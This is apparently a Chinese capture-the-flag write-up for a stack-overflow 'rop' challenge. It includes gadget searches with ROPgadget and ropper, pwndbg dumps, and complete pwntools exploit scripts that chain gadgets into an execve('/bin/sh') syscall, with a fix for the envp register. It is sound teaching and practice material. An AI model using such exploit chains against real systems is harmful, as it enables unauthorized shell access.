抄的台湾那边的原题
rop
很简单的rop,但是由于笔者确实太菜了,当时在赛场上居然没能想明白其中关节
静态编译的二进制文件,所以很多gadget都是能找到的
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No实际上这题canary对我们的影响为0,就不多叙述了
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("This is your first rop challenge ;)", argv, envp);
fflush(stdout);
read(0, buf, 0x90uLL);
return 0;
}很简单的一个栈溢出
怎么溢出都还是蛮明显的
然后就来到了写rop链的环节
$ ROPgadget --binary ./rop | grep "syscall" 0x00000000004011fc : syscall$ ROPgadget --binary ./rop | grep "pop rdi"0x0000000000400686 : pop rdi ; ret后面的大致都差不多的找法,常规的gadget而已
但是有一个点在于,ROPgadget找不到我们需要用的mov rdi,rsi这样的一个gadget

可以看到,都不算很干净
由于我比赛时也没有其他更好用的找gadget的工具,也就卡住了,想要找其他思路但是又完全记不起来其他的做法具体该怎么弄(姑且让我狡辩三分吧,毕竟断网加巡逻加不允许查自己的笔记,纯靠脑子里的记忆笔者确实不太中用……)
这里要引入一个更好用的找gadget的工具——ropper
┌──(kali㉿kali)-[~/桌面/cq]
└─$ ropper
(ropper)> file rop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(rop/ELF/x86_64)> search mov rdi
[INFO] Searching for gadgets: mov rdi
[INFO] File: rop
0x0000000000473a61: mov rdi, qword ptr [r12]; lea r9, [rsp + 0x38]; lea rcx, [rax + 1]; call rbx;
0x000000000040dec8: mov rdi, qword ptr [r13]; mov rax, qword ptr [rsp + 8]; call rax;
0x000000000040e963: mov rdi, qword ptr [rax + 0x20]; call rdx;
0x000000000045db23: mov rdi, qword ptr [rbp - 0x8a8]; call qword ptr [rbx + 0x38];
0x000000000045e0cd: mov rdi, qword ptr [rbp - 0x8a8]; call qword ptr [rcx + 0x38];
0x000000000045d8da: mov rdi, qword ptr [rbp - 0x8a8]; call rax;
0x000000000045d970: mov rdi, qword ptr [rbp - 0x8a8]; sub rdx, rsi; call qword ptr [rbx + 0x38];
0x0000000000469e36: mov rdi, qword ptr [rbp - 0x8d0]; call qword ptr [rbx + 0x38];
0x0000000000468e0c: mov rdi, qword ptr [rbp - 0x8d0]; call rax;
0x0000000000469b01: mov rdi, qword ptr [rbp - 0x8d0]; mov rdx, r13; call qword ptr [rbx + 0x38];
0x0000000000468eaa: mov rdi, qword ptr [rbp - 0x8d0]; sub rdx, rsi; sar rdx, 2; call qword ptr [rbx + 0x38];
0x0000000000464ce3: mov rdi, qword ptr [rbp - 0xc0]; call rax;
0x0000000000488130: mov rdi, qword ptr [rdi]; call 0x8a0a0; mov qword ptr [rbx + 0x20], rax; pop rbx; ret;
0x000000000048805c: mov rdi, qword ptr [rdi]; call 0x8a3a0; mov qword ptr [rbx + 0x18], rax; pop rbx; ret;
0x0000000000482253: mov rdi, qword ptr [rsp + 0x18]; mov rdx, qword ptr [rsp + 0x10]; call rdx;
0x00000000004509cf: mov rdi, qword ptr [rsp + 0x20]; mov rax, qword ptr [rsp + 0x10]; call rax;
0x00000000004515b8: mov rdi, qword ptr [rsp + 0x30]; call rbx;
0x00000000004510e8: mov rdi, qword ptr [rsp + 0x38]; call rbx;
0x0000000000450df4: mov rdi, qword ptr [rsp + 0x38]; mov rax, qword ptr [rsp + 0x18]; call rax;
0x0000000000455ac5: mov rdi, qword ptr [rsp + 0x40]; call rbx;
0x0000000000452d36: mov rdi, qword ptr [rsp + 0x40]; mov rax, qword ptr [rsp + 0x20]; call rax;
0x00000000004169ba: mov rdi, qword ptr [rsp + 8]; add rsp, 0x20; pop rbx; jmp rax;
0x0000000000416de0: mov rdi, qword ptr [rsp + 8]; add rsp, 0x20; pop rbx; mov ecx, edx; xor edx, edx; jmp rax;
0x000000000044a490: mov rdi, qword ptr [rsp + 8]; mov rax, qword ptr [rsp + 0x10]; call rax;
0x00000000004162c5: mov rdi, qword ptr [rsp]; add rsp, 0x10; pop rbx; jmp rax;
0x0000000000471bcf: mov rdi, r12; call rbx;
0x00000000004168b5: mov rdi, r12; lea r15, [r14 + 1]; call qword ptr [rbx + 0x18];
0x0000000000449998: mov rdi, r12; mov eax, 0x4f; syscall;
0x0000000000491ce0: mov rdi, r13; call rax;
0x000000000040dfed: mov rdi, r13; lea rbx, [r15 + rax]; mov rax, qword ptr [rsp + 8]; call rax;
0x000000000040df58: mov rdi, r13; mov rax, qword ptr [rsp + 8]; call rax;
0x000000000045fd76: mov rdi, r14; call qword ptr [rax + 0x38];
0x0000000000457f52: mov rdi, r14; call rbx;
0x0000000000458230: mov rdi, r14; call rdx;
0x00000000004603fe: mov rdi, r14; mov dword ptr [rbp - 0x4e8], r9d; mov rdx, qword ptr [rbp - 0x518]; mov rsi, qword ptr [rbp - 0x530]; call qword ptr [rax + 0x38];
0x000000000045fe52: mov rdi, r14; mov rdx, r15; call qword ptr [rax + 0x38];
0x000000000045f90d: mov rdi, r14; sub r15, r12; mov rdx, r15; call qword ptr [rax + 0x38];
0x000000000046b86b: mov rdi, r15; call qword ptr [rax + 0x38];
0x0000000000410ed2: mov rdi, r15; call rax;
0x000000000044ed0a: mov rdi, r15; mov rsi, qword ptr [rbp - 0x70]; call rsi;
0x000000000046b65a: mov rdi, r15; sar r14, 2; mov rdx, r14; call qword ptr [rax + 0x38];
0x0000000000484870: mov rdi, rax; call 0x1fd50; jmp 0x84850; nop word ptr [rax + rax]; pop rbx; ret;
0x0000000000411695: mov rdi, rax; call qword ptr [rax + 8];
0x00000000004231b3: mov rdi, rax; call rcx;
0x000000000040db4f: mov rdi, rax; mov eax, 0xba; syscall;
0x0000000000449248: mov rdi, rax; mov rsi, rdx; mov eax, 4; syscall;
0x0000000000475208: mov rdi, rax; mov rsi, rdx; mov eax, 6; syscall;
0x00000000004701a0: mov rdi, rbp; call qword ptr [rax + 0x38];
0x0000000000410455: mov rdi, rbp; call qword ptr [rbp + 0x20];
0x0000000000422535: mov rdi, rbp; call rax;
0x0000000000473d80: mov rdi, rbp; call rbx;
0x000000000044a1a9: mov rdi, rbp; mov eax, 9; syscall;
0x0000000000473ed1: mov rdi, rbp; mov r9, r14; call rbx;
0x0000000000411b21: mov rdi, rbp; mov rax, qword ptr [rsi + 0x60]; add rsi, 0x58; mov qword ptr [rsi], rax; call qword ptr [rbp + 0x30];
0x00000000004114f1: mov rdi, rbp; push qword ptr [rax + 0x38]; mov rcx, qword ptr [rbx + 0x10]; lea r8, [rsp + 0x10]; call qword ptr [rbp + 0x18];
0x00000000004104d6: mov rdi, rbp; push qword ptr [rax + 0x38]; mov rcx, qword ptr [rbx + 8]; mov r9, qword ptr [rax + 0x10]; call qword ptr [rbp + 0x18];
0x000000000044ae6c: mov rdi, rbx; add rsp, 8; mov rax, rbp; pop rbx; pop rbp; jmp rax;
0x0000000000489f0e: mov rdi, rbx; call 0x807c0; jmp 0x89b3e; nop dword ptr [rax + rax]; xor eax, eax; ret;
0x0000000000413b37: mov rdi, rbx; call qword ptr [rax + 0x18];
0x00000000004134b3: mov rdi, rbx; call qword ptr [rax + 0x40];
0x0000000000413c79: mov rdi, rbx; call qword ptr [rax + 0x78];
0x00000000004161ab: mov rdi, rbx; call qword ptr [rbp + 0x18];
0x000000000041681c: mov rdi, rbx; call qword ptr [rbp + 0x20];
0x00000000004175ac: mov rdi, rbx; call qword ptr [rbp + 0x30];
0x000000000040fed7: mov rdi, rbx; call qword ptr [rbp + 0x60];
0x00000000004167a3: mov rdi, rbx; call qword ptr [rbp + 0x68];
0x00000000004137ae: mov rdi, rbx; call qword ptr [rbp + 0x70];
0x0000000000412fa5: mov rdi, rbx; call rax;
0x000000000048fc02: mov rdi, rbx; jne 0x8fbf0; add rsp, 8; pop rbx; pop rbp; ret;
0x0000000000457f46: mov rdi, rbx; mov dword ptr [rbp - 0x48], r8d; call 0x4d0a0; mov rdi, r14; call rbx;
0x00000000004233c1: mov rdi, rbx; pop rbx; jmp 0x193b0; nop word ptr [rax + rax]; mov eax, 0x16; ret;
0x0000000000448403: mov rdi, rbx; pop rbx; jmp 0x1fd50; nop dword ptr [rax]; pop rbx; ret;
0x0000000000411455: mov rdi, rbx; pop rbx; mov rax, qword ptr [rax + 0x130]; mov rax, qword ptr [rax + 0x20]; jmp rax;
0x000000000041635c: mov rdi, rbx; pop rbx; pop rbp; jmp rax;
0x0000000000470a2e: mov rdi, rbx; pop rbx; pop rbp; pop r12; jmp rax;
0x000000000047b8c8: mov rdi, rcx; call 0x4a280; test eax, eax; js 0x7b8e2; pop rbx; ret;
0x0000000000484440: mov rdi, rdx; mov byte ptr [rsi], al; jne 0x84420; mov rax, rsi; ret;
0x000000000045821a: mov rdi, rdx; mov qword ptr [rbp - 0x98], rdx; call 0x4d0a0; mov rdx, qword ptr [rbp - 0x98]; mov rdi, r14; call rdx;
0x00000000004732ae: mov rdi, rsi; bsr eax, eax; lea rax, [rdi + rax - 0x20]; vzeroupper; ret;
0x000000000044ecfe: mov rdi, rsi; mov qword ptr [rbp - 0x70], rsi; call 0x4d0a0; mov rdi, r15; mov rsi, qword ptr [rbp - 0x70]; call rsi; 但实际上,我们用上了ropper也没找到很干净的mov rdi, rsi
实际上,如果换成
search mov [rdi], rsi就能找到我们想要的

还是蛮抽象的
由于静态编译的原因,如果IDA硬找只能说是相当的费时费力
不过这个ropper能很好的作为ROPgadget的上位替代
获取到了干净的gadget,也就能正常的写rop链了
其他相关的pop gadget可以这样快速搜索

0x000000000044ba15: pop r10; ret;
0x0000000000405d64: pop r12; ret;
0x000000000040da5b: pop r13; ret;
0x0000000000410092: pop r14; ret;
0x0000000000400685: pop r15; ret;
0x0000000000415294: pop rax; ret;
0x0000000000400a98: pop rbp; ret;
0x00000000004a95a0: pop rbx; ret 0x6f9;
0x0000000000400d58: pop rbx; ret;
0x000000000041d523: pop rcx; ret;
0x0000000000400686: pop rdi; ret;
0x000000000044ba16: pop rdx; ret;
0x0000000000477b73: pop rsi; ret 2;
0x0000000000410093: pop rsi; ret;
0x0000000000401d13: pop rsp; ret; 还是相当简单粗暴的
于是可以大致先写成这样的一个exp:
from pwn import *
#io = remote("172.16.25.233",20453)
io = process("./rop")
elf = ELF("./rop")
pop_rdi = 0x0000000000400686
pop_rsi = 0x0000000000410093
pop_rdx = 0x000000000044ba16
ret = 0x0000000000400416
main = 0x000000000400B4D
syscall = 0x00000000004011fc
bss = elf.bss()
pop_rax = 0x0000000000415294
mov_rdi_rsi = 0x0000000000446c1b
p = b'a' * 24
p += p64(pop_rdi) + p64(bss)
p += p64(pop_rsi) + b'/bin/sh\x00' + p64(ret)
p += p64(mov_rdi_rsi)
p += p64(pop_rsi) + p64(0)
p += p64(pop_rax) + p64(59)
p += p64(syscall)
gdb.attach(io)
io.sendline(p)
io.interactive()但是运行发现
pwndbg>
0x00000000004011fc in __libc_start_main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0x3b
RBX 0x400400 (_init) ◂— sub rsp, 8
RCX 0x4494ae (read+14) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x90
RDI 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0
R8 0x6bbd30 (_IO_stdfile_1_lock) ◂— 0
R9 0x1d5d5880 ◂— 0x1d5d5880
R10 0x41
R11 0x346
R12 0x401900 (__libc_csu_fini) ◂— push rbp
R13 0
R14 0x6b9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x440ad0 (__strcpy_ssse3) ◂— mov rcx, rsi
R15 0
RBP 0x6161616161616161 ('aaaaaaaa')
*RSP 0x7ffe7cd9f500 ◂— 0xa /* '\n' */
*RIP 0x4011fc (__libc_start_main+1020) ◂— syscall
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x4011fa <__libc_start_main+1018> mov eax, edx
0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0
envp: 0x90
0x4011fe <__libc_start_main+1022> jmp __libc_start_main+1016 <__libc_start_main+1016>
↓
0x4011f8 <__libc_start_main+1016> xor edi, edi EDI => 0
0x4011fa <__libc_start_main+1018> mov eax, edx
► 0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0
envp: 0x90
0x4011fe <__libc_start_main+1022> jmp __libc_start_main+1016 <__libc_start_main+1016>
↓
0x4011f8 <__libc_start_main+1016> xor edi, edi EDI => 0
0x4011fa <__libc_start_main+1018> mov eax, edx
0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0
envp: 0x90
0x4011fe <__libc_start_main+1022> jmp __libc_start_main+1016 <__libc_start_main+1016>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffe7cd9f500 ◂— 0xa /* '\n' */
01:0008│ 0x7ffe7cd9f508 ◂— 0
02:0010│ 0x7ffe7cd9f510 —▸ 0x400400 (_init) ◂— sub rsp, 8
03:0018│ 0x7ffe7cd9f518 ◂— 0x5bad82d779c96a8c
04:0020│ 0x7ffe7cd9f520 —▸ 0x401900 (__libc_csu_fini) ◂— push rbp
05:0028│ 0x7ffe7cd9f528 ◂— 0
06:0030│ 0x7ffe7cd9f530 —▸ 0x6b9018 (_GLOBAL_OFFSET_TABLE_+24) —▸ 0x440ad0 (__strcpy_ssse3) ◂— mov rcx, rsi
07:0038│ 0x7ffe7cd9f538 ◂— 0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x4011fc __libc_start_main+1020
1 0x7ffe7cda00e4 None
2 0x7ffe7cda00f7 None
3 0x7ffe7cda010b None
4 0x7ffe7cda011b None
5 0x7ffe7cda0134 None
6 0x7ffe7cda016e None
7 0x7ffe7cda0184 None
────────────────────────────────────────────────────────────────────────────────
pwndbg> 0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0
envp: 0x90这里底下的三个参数的具体情况实际上并不太对
正常情况:
► 0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0x6bb2e0 (completed) ◂— 0x68732f6e69622f /* '/bin/sh' */
argv: 0
envp: 0看出来问题了吗
envp的参数不对劲
好了,观察可以发现envp指向的寄存器是rdx
笔者另外一个犯病没想通的点就是这个envp
没能记住execve的参数情况
实际上pop rdx为0就好了
最终exp:
from pwn import *
#io = remote("172.16.25.233",20453)
io = process("./rop")
elf = ELF("./rop")
pop_rdi = 0x0000000000400686
pop_rsi = 0x0000000000410093
pop_rdx = 0x000000000044ba16
ret = 0x0000000000400416
main = 0x000000000400B4D
syscall = 0x00000000004011fc
bss = elf.bss()
pop_rax = 0x0000000000415294
mov_rdi_rsi = 0x0000000000446c1b
p = b'a' * 24
p += p64(pop_rdi) + p64(bss)
p += p64(pop_rsi) + b'/bin/sh\x00' + p64(ret)
p += p64(mov_rdi_rsi)
p += p64(pop_rsi) + p64(0)
p += p64(pop_rax) + p64(59)
p += p64(pop_rdx) + p64(0)
p += p64(syscall)
gdb.attach(io)
io.sendline(p)
io.interactive()这里贴出函数定义:
long sys_execve(const char __user *name, const char __user *const __user *argv, const char __user *const __user *envp, struct pt_regs *regs);
name:需要执行的文件的绝对路径(存于用户空间)。
argv:传入系统调用的参数(存于用户空间)。
envp:传入系统调用的环境变量(存于用户空间)。
regs:系统调用时系统堆栈的情况。笔者在比赛时就因为没法正确调用execve然后就在下面这一段里一直循环
打出了这样的抽象execve
0x4011f8 <__libc_start_main+1016> xor edi, edi EDI => 0
0x4011fa <__libc_start_main+1018> mov eax, edx
► 0x4011fc <__libc_start_main+1020> syscall <SYS_execve>
path: 0
argv: 0x68732f6e69622f
envp: 0x3b
0x4011fe <__libc_start_main+1022> jmp __libc_start_main+1016 <__libc_start_main+1016>还是对底层的理解不够深刻,虽然成功构造了execve,但始终没真的完全记忆下底层的调用逻辑导致于前三血失之交臂
这样的简单题全场居然也只有三解
令人唏嘘,虽然我也没能做出来就是了
还是比较遗憾,理解也不深刻,工具也不到位,很简单的一道题被我想得很复杂……
thijack
比赛的时候满心扑到rop那题上了,这题看着也蛮简单的,但是期末周了,留待日后解决了